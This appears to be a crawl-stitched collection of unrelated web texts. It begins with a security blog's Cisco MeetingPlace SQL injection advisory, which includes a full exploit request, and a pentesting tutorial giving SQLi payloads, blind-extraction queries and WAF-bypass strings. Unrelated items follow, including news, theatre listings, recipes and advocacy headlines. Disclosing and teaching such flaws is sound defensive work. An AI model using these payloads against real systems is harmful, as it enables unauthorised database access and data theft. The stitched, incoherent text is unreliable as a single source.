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TAG | sql injection
SQL Injection in Cisco MeetingPlace
0 Comments | Posted by Daniel Mende
Cisco has released a security advisory for a vulnerability we discovered last year.
For comparison here is our original advisory to cisco:
Security Advisory for Cisco Unified Communications Solution
Release Date: 11/8/2012
Author: Daniel Mende
Multiple critical SQL injections exist in Cisco unified meeting place.
The following Products have been tested as vulnerable so far:
Cisco Unified Meetingplace with the following modules:
• MeetingPlace Agent 22.214.171.124
• MeetingPlace Audio Service 22.214.171.124
• MeetingPlace Gateway SIM 188.8.131.52
• MeetingPlace Replication Service 18.104.22.168
• MeetingPlace Master Service 188.8.131.52
• MeetingPlace Extension 126.96.36.199
• MeetingPlace Authentication Filter 18.104.22.168
The following parameters are affected:
http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]
The severity rating based on CVSS Version 2:
Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P)
CVSS Version 2 Score: 6.5
Severity: Low
POST /mpweb/scripts/mpx.dll HTTP/1.1
Host: 10.X.X.X
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://10.X.X.X/mpweb/scripts/mpx.dll
Cookie: cookies=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 571
&wcMeetingID=&wcRecurMtgID=' or 1=1 —&URL0=wcBase.tpl&TXT0=Startseite&URL1=&
As we are at the topic of Cisco's Unified Communications Solution, there is a lot more in the queue to come up, just be patient a little longer, it'll be worth it (-;
SQL Injection Testing for Business Purposes Part 2
0 Comments | Posted by Michael Thumann
Take Care of the Database
There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload
' or 1=1 --
' or 1 --
One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL "
waitfor delay" in other database management systems. For MySQL (before 5.0.42), the benchmark function may be used. E.g.:
For later versions:
Respectively, Oracle supports an HTTP request function, which is expected to generate a delay if pointed to a non existing URL:
utl_http.request('http://192.168.66.77/'). Alternatively, the following function may be useful:
Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.
Another important difference is the missing MS-SQL "
xp_cmdshell" on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sqlmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sqlmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). This table summarizes useful SQL functions.
How to Exploit SQL Injection
After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB. As for data extraction one of the most useful statements is
UNION SELECT. However, the
UNION SELECT approach doesn't work in all situations. If,for example, injecting right after the select statement (e.g. "
SELECT $INPUT_COLUMN_NAME FROM tablename;" ) and not after a
WHERE clause, trying to extract data with
UNION SELECT leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying
(SELECT user FROM DUAL)
the SQL query doesn't get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:
'|| (SELECT user FROM DUAL) ||'
The previous examples depend on any form of results from the application. In case the application doesn't print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:
SELECT username FROM users WHERE username = '$NEW_USERNAME';
This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:
'|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) = 'abcd' THEN 'new_username' else 'EXISTING_USERNAME' END FROM DUAL)||'
Or in pseudo code:
If abcd equals abcd
return new_username
return EXISTING_USERNAME
Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.
How to get around Web Application Firewalls
In some situations, the application might filter specific attack strings or a Web Application Firewall (WAF) is deployed in front of the web servers/applications. In these cases, being creative is essential. For example, instead of injecting
' or 'a'='a
we already circumvented a WAF by supplying a slightly modified version of this payload:
' or 'a='='a=
If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:
' or 1 --
It is also very likely, that one single quote doesn't cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:
In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.
If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is wafw00f which supports many different vendors. Another tool is tsakwaf, which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.
… to be continued …
Have a great day and enjoy trying 🙂
Michael, Timo and Frank from the Appsec Team


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Congress will face a major vote soon on raising the nation's $14.3 trillion debt ceiling, which allows the government to keep borrowing money so it can keep operating.
However, a new poll conducted by The Hill newspaper showed that 62 percent of Americans oppose raising the debt ceiling while only 27 percent support it.
The poll also found that the public continues to think President Obama's 2009 economic stimulus packaged failed to benefit the economy. Sixty-nine percent of those polled who claimed to be of Democrat party affiliation said it boosted growth, while only 40 percent said the package helped. Fifty-six percent of independents felt the stimulus hurt or had no effect on the economy.
The White House and Fed Chairman Ben Bernanke have warned of serious consequences if the ceiling isn't raised. Yet, taxpayers seem to be tired of Washington, D.C.'s spending.
Meanwhile, the jobless rate for the nation dropped to 9 percent last Friday with the White House attributing the drop to the positive effects from its economic policies.
"The overall trend of economic data in recent months has been encouraging, as initiatives put in place by this administration are taking hold, but there is still considerable work to do," White House economic adviser Austan Goolsbee said.
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The "Trump train" was derailed in Wisconsin as voters in the Badger State gave Ted Cruz a major victory over "The Donald." The big question now is – are the Republicans headed for a contested convention this summer?

subset: commoncrawl


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Fairbanks is Alaska's second largest city and combines modern amenities and technology with a frontier atmosphere. Recognized as the "gateway to the Arctic," Fairbanks has a long and colorful history dating back to the late 1800s gold rush. The historic downtown corridor, on the banks of the Chena River, offers a great educational opportunity to learn about life in Alaska's great interior at the newly constructed Morris Thompson Center. The Trans-Alaska oil pipeline, a remarkable engineering feat bringing Arctic oil to the port of Valdez, is located just outside of Fairbanks and can be seen on a guided city tour. Fairbanks area tour options range from crossing the Arctic Circle, experiencing Eskimo culture, touring a working placer gold mine or river boat tour aboard a classic sternwheeler.
Fairbanks is the "Gateway to the Arctic," with great cultural and historic attractions. We highly recommend a visit to the University of Alaska's Museum of the North and the world-class Fountainhead Antique Car Museum. Contact us by e-mail at email@example.com


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Nudity, magazines and plus-size models
Candice Huffine, a plus-size model with Ford, is on the cover of the latest issue of S Moda, in, well, nothing. It's not a particularly great departure for the plus-size genre; in the past few years we've seen several plus-sized …
Candice Huffine, a plus-size model with Ford, is on the cover of the latest issue of S Moda, in, well, nothing. It's not a particularly great departure for the plus-size genre; in the past few years we've seen several plus-sized models be "embraced" by the mainstream fashion press, but their access to the annals of fashion magazines has been largely restricted to burlesque, boudoir-esque shoots with the women wearing very little or, more often than not, nothing at all. What's it all about?
There's no doubt that Huffine looks adorable, but the fact that the emphasis in most of these shots is on her, rather than the clothing – which, when it exists, resembles several items one could pick up in one's local American Apparel, rather than the high-end fashions usually sported by the more diminutive clothes horses. It seems that high fashion can only accept the larger lady if her body is in the spotlight. While "regular" models are there to show off the clothes, with minimal attention given to their own bodies – a great example of this is the fact that Vogue regularly exposes nipples in its editorials, but never at the expense of the couture's limelight – plus-sized models' bodies need to be discussed, lest they become the proverbial elephant on the page.
The other issue here is that – and this may be a subject of personal opinion – the clothes don't actually look good. S Moda, as a plus-sized woman, I will tell you that it's not all that difficult to find flattering clothing. Oversized knits are not our friends – and black peep-toe pumps? How much more pedestrian can we get? It's as if the team at S Moda was forced into featuring Huffine – I'd imagine their discussion went a little like this. "So, we have to do the plus-sized model?" "Yeah." "What'll we dress her in?" "Who cares? Let's do a nude shot, a few underwear shots and for the rest of it … nyeh. She won't be able to sell the clothes anyway."
I'm not a campaigner for plus-sized models – nor am I a purist when it comes to editorials. I would love to see women of all shapes and sizes represented on the pages of the high-end glossies I spend my hard-earned salary on, and I would imagine that advertisers would like that too, especially if a recent study, that showed that people are not more likely to buy clothes modelled by ultra skinny models, is anything to go by.
More than anything else, I would like models to appear healthy and happy – there is something almost impersonal about a model seen on the shiny pages of magazine print that reminds me of thoroughbred horses. I want them hale and hearty, shiny and nourished, but I don't want them divided into two very distinct tracts: the ultra-thin super and the novelty plus-size, who can only be viewed in terms of her sexuality and "womanliness".
What do you think? Please, share your thoughts below – but let's not allow this to descend into a discussion about how skinny = bad and real women = plus size. We're all real women and whatever our body shapes are, they're ours; women's bodies are no one's properties but their own. I just wish that the fashion world would take that on board.
P.S. If you fancy seeing what I have to say about dressing bodies of all shapes, check out this week's Xposé on TV3 at 6pm or on 3E at 6.30pm.


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Full CoverageBreaking News
Airport runway lights back on after outageUPDATED 8:04 AM CDT Apr 01, 2014
The runway lights at XNA Regional Airport are back up this morning after an outage caused several flight cancellations and delays.Video Transcript
expect a smooth commute! Right now, the lights are back on at the airport. 40/29's Brad Carl is live at XNA -- Brad, what caused the lights to go out? KELLY, XNA'S DIRECTOR TOLD ME THE RUNWAY LIGHTS WERE STRUCK BY LIGHTNING AS A THUNDERSTORM ROLLED THROUGH THE AREA AROUND 10:30 LAST NIGHT. AND WITHOUT LIGHTS TO GUIDE PLANES IN, MANY INCOMING FLIGHTS HAD TO BE DIVERTED ELSEWHERE. ELECTRICAL ENGINEERS WERE ABLE TO GET OUT AND REPAIR THE DAMAGED RUNWAY LIGHTS JUST BEFORE MIDNIGHT AND THE RUNWAY WAS REOPENED SOON AFTER. IN ALL, FOUR FLIGHTS WERE DIVERTED TO OTHER AIRPORTS...THREE TO SPRINGFIELD AND ONE TO TULSA. ACCORDING TO AGENTS AT THE TICKET COUNTERS HERE AT THE AIRPORT, MOST FLIGHTS ARE RUNNING ON TIME, BUT THERE ARE A COUPLE OF EXCEPTIONS TO LET YOU KNOW ABOUT. THOSE INCLUDE ONE AMERICAN AIRLINES FLIGHT BOUND TO CHICAGO THAT HAS BEEN CANCELLED. TWO OTHER AMERICAN AIRLINES FLIGHTS, BOTH SCHEDULED TO LEAVE FOR DALLAS / FORT WORTH, HAVE BEEN DELAYED UNTIL LATER ON THIS MORNING. REPORTING LIVE AT XNA THIS MORNING... BRAD CARL...40/29 NEWS. BACK TO YOU. We'll keep you posted on the status of those
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'Annie' to be performed
MARTINSBURG - The Apollo Youth Summer Theatre Workshop will present "Annie" at 8 p.m. July 18-20 and at 2:30 p.m. July 21 at the Apollo Civic Theatre. Tickets may be reserved by calling 304-263-6766 or by emailing tickets@apollo-theatre.
CATF season announced
SHEPHERDSTOWN - The Contemporary American Theater Festival will be held through July 28 throughout Shepherdstown. The 2013 lineup will include:
"A Discourse of the Wonders of the Invisible World," by Liz Duffy Adams;
"Modern Terrorism," by Jon Kern;
"H2O," by Jane Martin;
"Heartless," by Sam Shepard;
"Scott and Hem in the Garden of Allah," by Mark St. Germain.
Single tickets and subscription REP passes are available on line at www.catf.org or by calling the CATF box office at 304-876-3473 or 800-999-2283.
Film festival lineup set
MIDDLEBURG, Va. - The Middleburg Film Festival will be held Oct. 25-27 throughout Middleburg. Special guests include Director Lee Daniels; Vanity Fair special correspondent, Maureen Orth; former U.S. Senator and CEO of the Motion Picture Association of America, Chris Dodd; and Virginia Gov. Bob McDonnell.
For more information, visit www.middleburgfilmfestival.org.
OOH season announced
CHARLES TOWN - The Old Opera House will present the following productions:
Sept. 5-8, 12-15: "Legally Blonde"
Oct. 18-20, 25-27: "Murder Among Friends" and
Dec. 6-8, 12-15, 19-22: "Shrek."
For more information or tickets, call 304-725-4420 or visit www.oldoperahouse.org.
Symphony fest to be held today
SHIPPENSBURG, Pa. - The Luhrs Center, located on the campus of Shippensburg University, has announced the following lineup:
Today: Shippensburg Symphony Festival;
For more information, visit www.luhrscenter.com
Capitol Theatre sets lineup
CHAMBERSBURG, Pa. - The Capitol Theatre Centre, 159 S. Main St., announces the following lineup:
July 21: Tribute to the Everly Brothers and the Music of Keith Whitley;
Aug. 9: Mike Aiken, Captains and Cowboys;
Saturday, Aug. 17: "Pop A Cork;"
For more information or tickets, call 717-263-0202 or visit www.thecapitoltheatre.org.
'British Invasion' to be performed
HAGERSTOWN, Md. - The Maryland Theatre, 21 S. Potomac St., has announced the following events:
July 27: Performing Arts Academy British Invasion;
Oct. 19: John Pinette;
Nov. 3: Tim Hawkins.
For more information or tickets, call 301-790-3500 or visit www.mdtheatre.org.
W.Va. Theatre to perform 'Oz'
BEAVER - The West Virginia Theatre, 4700 Grandview Road, has announced the following lineup:
Friday: "The Wizard of Oz;"
Aug. 15: "Rocket Boys, the Musical;"
Aug. 30: Phil Dirt and the Dozers.
For more information or tickets, visit www.theatrewestvirginia.com.
Public Theatre sets season
MORGANTOWN - The West Virginia Public Theatre, 111 High St., has announced its 2013 season:
Through Sunday: "Nunsense II, The Second Coming;"
Wednesday through July 21: "Les Miserables;"
July 24-28: "The Fantasticks;"
July 31 to Aug. 4: "Happy Days."
For more information or tickets, call 304-291-4122 or visit www.wvpublictheatre.org
Apollo Theatre announces shows
MARTINSBURG - The Apollo Civic Theatre will present the following productions:
July 18-21: Youth Summer Theatre Workshop
Reserve tickets by emailing at email@example.com or by calling the Box Office at 304-263-6766.
YATL season announced
SHEPHERDSTOWN - The Young Actors Theater Lab has announced its 2013 season:
Today through Sunday: "Charlie and the Chocolate Factory;"
Oct. 4-13: "The Secret Garden."
Season tickets are available. All four shows can bee seen for $24.
YATL is part of the Full Circle Theater Company.
For more information, call 304-876-1350 or visit www.MyATL.com
Little Theatre to perform 'Opus'
WINCHESTER, Va. - The Winchester Little Theatre will present the following performances:
September: "Almost, Maine;"
November: "Incorruptible;"
January: "What She Wants"
For more information or tickets, call 540-662-3331 or visit www.wltonline.org.
'Cinderella' to be performed
FREDERICK, Md. - The Way Off Broadway Dinner Theatre and Children's Theatre presents its productions:
To Sunday, July 28: Disney's "Cinderella;"
To Aug. 24: "Legally Blonde;"
Sept. 6 to Nov. 9: "Sunset Boulevard;"
Sept. 14 to Nov. 2: "Pinkalicious;"
Nov. 16 to Dec. 28: "A Children's Theatre Christmas Carol;"
Nov. 22 to Dec. 28: "Mr. Claus."
Shows run every Friday and Saturday evening, with some Sunday evening performances, as well as select Saturday and Sunday matinee performances. For more information, call the box office at 301-662-6600 or visit www.wayoffbroadway.com.
- From staff reports


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Still on track and doing well. Noticed this week that I am sweating more than usual in Bikram Yoga -- which I want to believe is a good thing ... my body is getting better at removing toxins.
I think I got a little crazy on the back bends today, middle back is sore. Either the back bends (as in upward cobra) or the spine twist at the end of class.
Spending alot of time in the kitchen preparing veggies and making salad dressing from scratch. Ready to pop some kale chips into the oven for a snack while we watch TV.


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First, we make all kinds of raw veggie salads (doesn't necessarily mean lettuce -- we use seasonal stuff), and in winter, we do warm (lightly sauteed kale with roasted veggies) salads.
Second, we carry these things with us: 1. hard boiled eggs and/or mini crustless quiches (which usually have veg in them); 2. chicken, steaks, or any other left overs such as stew meat or whatever; 3. sliders which we flavor in a variety of ways (different seasonings), and then sometimes we have sauces for them (like pasta sauce, different indian or thai curry sauces, etc), but usually, it's just "plain" with an aoli (mayo dip).
Finally, we also carry fruit and nuts, just in case.


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St. Louis hands Iota second straight league loss
By Chris Quebedeaux
IOTA – A cold shooting night from both the floor and free throw line proved costly for Iota's Lady Bulldogs Friday.
The Lady Dogs shot a dismal 37 percent from the floor and an even worse 27 percent from the charity stripe in their showdown with No. 4-ranked St. Louis.
The result was predictable: St. Louis 61, Iota 49.
"I don't think, emotionally, we've recovered from the Jennings game," said Iota coach Stan Baggett, whose team dropped a grueling 71-63 contest to second-ranked Jennings Tuesday. "An inexperienced, young team like this, we were sky high for the Jennings game and tonight, we were just totally out of it. That game took a toll on us and we just weren't ready to go tonight."
The loss dropped Iota to 20-10 overall and 2-3 in District 4-AAA
The fatigue showed early for Iota. The Lady Dogs were just 1-for-4 from the free throw line in the first quarter. In addition, they missed three shots in the paint as well as missing all six of their 3-point attempts in the early goings.
St. Louis took full advantage, jumping out to a 14-3 lead in the first quarter before taking a 30-23 advantage at the half.
"That was the ballgame right there," said Baggett. "They outscored us 14-3 in the first quarter and we never were able to recover."
Iota made a run midway through the third quarter when they cut the lead to 34-30 with 5:40 remaining. However, the rally was cut short following two missed free throws and an Iota turnover.
St. Louis went on a 9-4 run to end the frame, taking a 43-34 cushion into the final frame.
"We were down four and you could sense the momentum was with us," said Baggett. "But once again, missed free throws and a few turnovers allowed them to open it back up."
St. Louis hit the first shot of the fourth quarter and Iota was never able to get within single digits after that.
St. Louis forward Jazzmin Smith led a trio of Lady Saints in double figures with 15 points. She was followed by Paige Gauthier with 14 points and Megan Buckley with 11. Guard Jalicia Bilbo also scored nine points.
Allison Baggett paced the Lady Dogs with 20 points and Jade LeJeune had 13. Katie Latiola and Tori Stroderd each scored four points, Ana Lege scored three and Katelyn Regan and Ashley Hargrave each scored two.
Iota returns to action Tuesday when they play host to Pineville.


text: AP Analysis: In debate, Clinton was prepared, Trump was Trump Understanding the 'Politics of pain' During an especially intense news period, marked by a bomb blast in Manhattan and a subsequent manhunt in New Jersey, an investigation into the politics behind America's opioid epidemic still received the attention it deserved. What AP learned about using online surveys to measure support for presidential candidates After commissioning an experiment designed to test new ways to survey voters who cast ballots early, AP updates its findings, using new breakdowns of advance and Election Day voting in the Florida primary. The role of research in journalism We spoke with Emily Bell, director of the Tow Center for Digital Journalism at Columbia University, about how research can answer some really important questions for news organizations. Today's top news   For more of the day's top stories, photos, video and up-to-the-minute breaking news alerts, download the AP News app on iTunes.


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At East Tennessee State University, all uses of animals must be reviewed and approved by the University Committee on Animal Care. This committee is comprised of faculty, administrators, a veterinarian, and two community representatives. State and federal regulations, including those of the U.S. Department of Agriculture (USDA) and the U.S. Department of Health and Human Services (DHHS) are fully supported by a comprehensive, conscientious, and committed institutional effort.
This effort includes:
Every research protocol that calls for the use of animals is reviewed semi-annually on the basis of such factors as animal housing, level of investigation or instructor training and preparation, availability of suitable non-animal alternatives, the number and species of animals employed, animal handling procedures, level of discomfort (including stress and pain) experienced by the animals, alleviation of distress or pain and proper means of euthanasia. Projects must be resubmitted for full review to the University Committee on Animal Care after three years.


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Useful Links
The University of Florida Lung Cancer Program provides the following links as additional resources for patients and others seeking information about cancer. We do not necessarily review or endorse the content or performance of outside Websites. All readers are advised to discuss specific questions with a doctor or other skilled healthcare provider.
- American Association for Cancer Research (http://www.aacr.org/)
- American Cancer Society (http://www.cancer.org/)
- Cancer Care, Inc. (http://www.cancercare.org/)
- Cancer Hope Network (http://www.cancerhopenetwork.org/)
- Lung Cancer.org (http://www.lungcancer.org/)
- Lung Cancer Alliance (http://www.lungcanceralliance.org/)
- Lung Cancer Online Foundation (http://www.lungcanceronline.org/)
- National Cancer Institute (http://www.cancer.gov/)
- National Coalition for Cancer Survivorship (http://www.canceradvocacy.org/)
- National Family Caregivers Association (http://www.nfcacares.org/)
- National Lung Cancer Partnership (http://www.nationallungcancerpartnership.org/)


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Latin Menus
Cinco de Mayo Menu
THE MENU Tomato-Serrano Salsa Tomatillo-Chipotle Salsa (not pictured) Guacamole Bacon-Simmered Pinto Beans Pickled Onions Chile-Braised Pork Shoulder Tacos Mango-Chile Ice What to Drink / Dos Refrescos Hibiscus Agua Fresca Micheladas
Holiday Menu: Fiesta in a Flash
Latin food is more popular than ever, and the cuisine is perfect for a holiday open house. The star of our menu is posole, a soup made of pork, hominy, and chiles. The dish is a Christmas tradition in Mexico and the American Southwest and is great for a crowd. Round out the party with... View Article


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The Taylorsville Elementary GREATS for March were Gabe Bowling, Wyatt Buchter, Juan Hernandez, Jasmine Patterson, Max Sulliva (not pictured) and Shyla Vankannel. The students showed exemplary behavior through the month of March.
The Spencer County Board of Education's next regularly scheduled meeting is April 28, 6:30 p.m., in the Spencer County Elementary School cafeteria. The meeting is open to the public.
The Spencer County Schools Preventive Substance Abuse Committee is meeting May 5 in the Spencer County Middle School Media Center at 4 p.m.
The Kentucky Partnering to Empower Students orgnaization is sponsoring a local "PEP" rally April 30 from 10 a.m. until 2:30 p.m. at Bullitt Central High School in Shepherdsville.
The rally is for any and all parents and students in the region and will include lunch, activities for adults and school-aged children, door prizes, resource booths and more.
For more information, call 1-800-251-4676 ext. 264.
"Preach the word: be instant in season, out of season; reprove, rebuke, exhort with all longsuffering and doctrine. For the time will come when they will not endure sound doctrine; but after their own lusts shall heap to themselves teachers, having itching ears. And they shall turn away their ears from the truth and shall be turned unto fables. But watch thou in all things, endure afflictions, do the work of an evangelist, make full proof of thy ministry" (2 Timothy 4:2-5).
Sometimes we make things so difficult. We take the simple and wrap it up in complicated explanations. We use big words where little ones will do. And as pastors, sometimes we'll throw in a little Greek or Hebrew just for fun!
This time of year we can see the simple truth of God's plan for us very clearly. It is simply written in the difference between Friday and Sunday. It is just a little difference that makes all the difference in the world.
Many of you were surprised when you went to your mailboxes and found today's edition of the Spencer Magnet. And, don't worry – you will not be receiving a bill for this edition – because this one is on us!
It is important to us to do whatever we can to see that everyone has access to today's issue because it not only contains our regular A and B sections, but it also has a C section that focuses on health, and it includes our annual Easter section.
First Baptist Church of Fisherville will present its Last Supper pageant at 7 p.m. on Maundy Thursday, April 21. There is no admission charge and childcare will be provided.
The drama will be in full costume with complete staging, lights and music. Each disciple will share his experience and relationship to Jesus. The portrayal of the Last Supper then follows. The disciples are all members of The First Baptist Church of Fisherville.
The Spencer County Democrats hosted a "Get out the Vote" drive on Saturday.
Carmin Gaines, Winford Sweazy, Diane Sheeley, Betty Schmidt and Jane Schultz participated.
"We signed up several new voters," Gaines said.
Josh and Heather Nethery of Mount Eden welcomed their baby boy, Ethan Todd Nethery, to the world March 10 at 2:20 a.m.
Ethan was born at Baptist Hospital East in Louisville, weighing 8 pounds, 14.3 ounces. He was 20.5 inches long.
Ethan was also welcomed by his grandparents, Gary and Teri Nethery, Ken Moore and Ruth Moore-May; and his great-grandmother, Oneita Moore.
Copyright © 2016
The Spencer Magnet is your source for local news, sports, events, and information in Spencer County, KY and the surrounding area.


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The House Republican Caucus has set its agenda for the next session of the General Assembly beginning in 2011. Please see below for details.
- Building Trust by Increasing Transparency: The House Republicans pushed the on-the-record voting bill through the House last year, but unfortunately, the bill was never considered by the Senate. In 2011, we will continue the fight for more on-the-record voting so we all know how our representatives vote.
- Securing our State's Finances with Spending Limits: The House Republicans will, for the sixth time in 15 years, approve spending caps for South Carolina's budget. Spending limits will smooth the wild swings in the state budget that hurt the people we count on every day such as teachers and police officers.
- Securing our Elections by Requiring a Photo ID: Four out of five Americans support showing a photo ID to prove who they are when they vote. Who is the fifth person? One of the 96 percent of the Democrats filibustered, stalled, and fought this legislation.
- Fighting Illegal Immigration: The House Republicans will use an expanded majority to push through an Arizona-style immigration bill – building on the successes of our 2008 immigration legislation. Early indications are this law is working, but we can do more to ensure we welcome legal immigrants and discourage illegal immigrants from settling in our state.
- Building a Stronger Economy through Tort Reform: Small- and medium-sized businesses are the backbone of our economy and the engine that will lower our unemployment problem. Protecting the businesses owned by your friends and neighbors from the ongoing threat of a debilitating lawsuit will lower costs and boost job creation. The House Republican Caucus will pass tort reform legislation in 2011.


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Career Technical and Adult Education
Reporting of Post-Graduation Status of Student CTE ConcentratorsMonday, November 1, 2010, 12:22 pm
The fall Career and Technical Education (CTE) data collection began October 1 and ends December 31, 2010. The fall CTE data collection is a follow-up to the Spring CTE Collection. Students identified as CTE Concentrators who graduated in the 09-10 year must be contacted between October 1 and December 31, 2010 and have their current post-graduation status identified in the Achievement In Montana (AIM) system. Schools who receive funding from the Carl D. Perkins federal grant program are required to complete this fall follow-up collection. Instructions for completing the CTE fall data collection are located on the OPI AIM Web page or from Diana Fiedler. Questions regarding the CTE data collection should be directed to the AIM Helpdesk at 1-877-424-6681 (toll-free) or email@example.com. Questions regarding Carl D. Perkins should be directed to Diana Fiedler, Perkins Accountability Specialist at 406-444-9019 or firstname.lastname@example.com.
For more information, contact Diana Fiedler, Perkins Accountability Specialist, 406-444-9019


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on October 23, 2012 - 7:29 AM
Schofield Adult Wellness Center in the Schofield Residence Nursing Facility, 3333 Elmwood Ave., Town of Tonawanda, will host a free program titled "Breast Cancer: An Overiew" at 2 p.m. Wednesday. Blue Cross/Blue Shield WNY will provide information on cuases, risk factors and prevention of breast cancer. Call 995-3851 or visit www.schofieldcare.org for reservations.
Catholic Health Womencare will host "Day of Health – Be Strong, Be Happy, Be Healthy" from 8:30 a.m. to 4 p.m. at Salvatore's Italian Gardens, 6461 Transit Road, Lancaster. In addition to women's health specialist, featured speakers include Maryalice Demler from WGRZ-TV, Ginger Zimmerman, a heart transplant survivor who will share her journey, and Liz Diamond, an inspirational speaker dedicated to empowering women. There also will be chair massages, female-focused exhibits, raffles and prizes. Ticket, at $40 each, include breakfast, lunch and program materials. For information or reservations, call 447-6205 or visit: WomenCare WNY.org.
Support groups, and phone numbers to call for information include: Co-Dependents, fellowship of men and women whose purpose it is to develop healthy relationships, 7:30 p.m. today, Trinity Old Lutheran Church, 3445 Sheridan Drive, Eggertsville, 864-0746 or 609-3022; anxiety self-help, 11 a.m. today, participants must be chem-free and refrain from using scented items while in the building, WNYIL, 3108 Main St., 836-0822, Ext. 118; Gam-Anon, for family and friends of gamblers, 7 p.m. Thursday, Weinberg Campus, 2700 N. Forest Road, Amherst, 254-4941; Reformers Unanimous faith-based addictions program, 7 p.m. Friday, Hedstrom Baptist Church, 55 Losson Road, Cheektowaga, 818-1012; Alcoholics Anonymous First Step, 8 p.m. Friday, auditorium, Niagara Falls Memorial Medical Center, 278-4569; Alcoholics Anonymous International Group, 6:30 p.m. Saturday, Niagara Falls Memorial Medical Center, 278-4569; Narcotics Anonymous, 5 p.m. Sunday, Memorial Medical Center Auditorium, 278-4569.


text: Colombes occupies one of Paris' most important business and residential areas, situated just 11km from the city centre. The renowned business district of La Defense is just a short drive from Colombes, which can be a good place to find reasonable hotels in the Paris area. Business clients in the area may well opt for car hire in Colombes for a quick transfer from the airport. Pickup points are available at Charles De Gaulle Airport, Orly Airport or a number of locations in the city. Hiring a car in Colombes can also provide you with ready access into the city centre or further afield to nearby Versailles.


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October 2016 Church & State
Church & State Issue
No Moore Embarrassment: Good Riddance To Alabama's Disgrace
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Americans United Applauds Ala. Chief Justice Roy Moore's Suspension For Defying Marriage Equality Ruling
Moore Found Guilty Of Ethics Violations, Barred For Remainder Of Term Without Pay
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Some Guy In Texas May Be Influencing The Content Of Public School Textbooks In Your State
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Nevada Supreme Court Freezes Funding For Massive 'School Choice' Scheme – Thanks To Americans United And Its Allies
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Victory: Americans United, Allies Obtain Ruling Permanently Enjoining Nevada Voucher Program
State Supreme Court Freezes Funding For Massive 'School Choice' Scheme
Press Release
Roy Moore, Alabama's Anti-Gay Chief Justice, Stands Trial For Ethics Violations
Wall of Separation
Tar Heel Travels: Lessons From North Carolina
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Want To Reduce Crime? Become More Religious, Conn. Police Chief Says
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What About The First Amendment? Looking Toward The Next Presidential Debate
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Mass. Court Says It's All Right To Force Taxpayers To Foot The Bill For Church Renovations
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Join AU's Week Of Action Against Pulpit Politicking!
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The First Temptation Of The Book Banners: Censorship
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Minnesota Not-So-Nice: Restaurant Owner Says Muslims Get Out
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Fundamentalist Christian Supports Religious Freedom For Muslims
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Coercive Municipal Prayer Upheld In North Carolina – For Now
Wall of Separation
Actually, It's All Right To Argue With Street Preachers
Wall of Separation
Federal Court Denies Public School Coach's Request To Pray With Students
Bremerton High School Assistant Football Coach Joe Kennedy Loses Round In Court
Press Release
This Florida Public School Principal Is Into Forcing Patriotism At Athletic Events
Wall of Separation
Summer's Must-Have Accessory: Pocket Constitutions
Wall of Separation
Wall of Separation
more »
Sep 30, 2016
No Moore Embarrassment: Good Riddance To Alabama's Disgrace
Sep 30, 2016
Some Guy In Texas May Be Influencing The Content Of Public School Textbooks In Your State
Sep 29, 2016
Nevada Supreme Court Freezes Funding For Massive 'School Choice' Scheme – Thanks To Americans United And Its Allies
Sep 29, 2016
Roy Moore, Alabama's Anti-Gay Chief Justice, Stands Trial For Ethics Violations
more »
Sep 21, 2015
To EACH Their Own (Religious Exemption)
May 29, 2015
Governors Push for Private School Vouchers
In the Field
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Apr 25, 2016
Introducing AU's Faith Outreach Specialist!
Apr 1, 2016
Georgetown University Students Discuss the Intersection of Religion and Politcs at AU Headquarters
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Plate Shift
N.J. Officials Approve '8THEIST' License Tag To Settle AU-Led Lawsuit
Non-Theists Need Not Apply
Americans United Lawsuit Challenges Pa. House of Representatives Policy Limiting Invocations To Believers
The Religious Right's 2016 'Values Voter Summit' Was An Extended Campaign Rally For Donald Trump
Skousen's Scandalous Schools
Americans United Files Suit To Stop A String Of Taxpayer -Funded Ariz. Charters From Preaching Religion
Americans United In Action!
AU Staff Members And Activists Spread The Word About Separation Of Church And State
AU Bulletin
AU Opposes Religious Discrimination In Federal Grants
Around The World: French Court Strikes Down Ban On 'Burkinis'
Federal Court Blocks Trans Rights Directive
N.J. City May Face Vote On Vouchers
Ga. County Roiled By Flap Over Mosque Construction
Wyo. Judge May Lose Job Over Same-Sex Marriage Refusal
U.S. State Department Criticizes Blasphemy Laws
People & Events
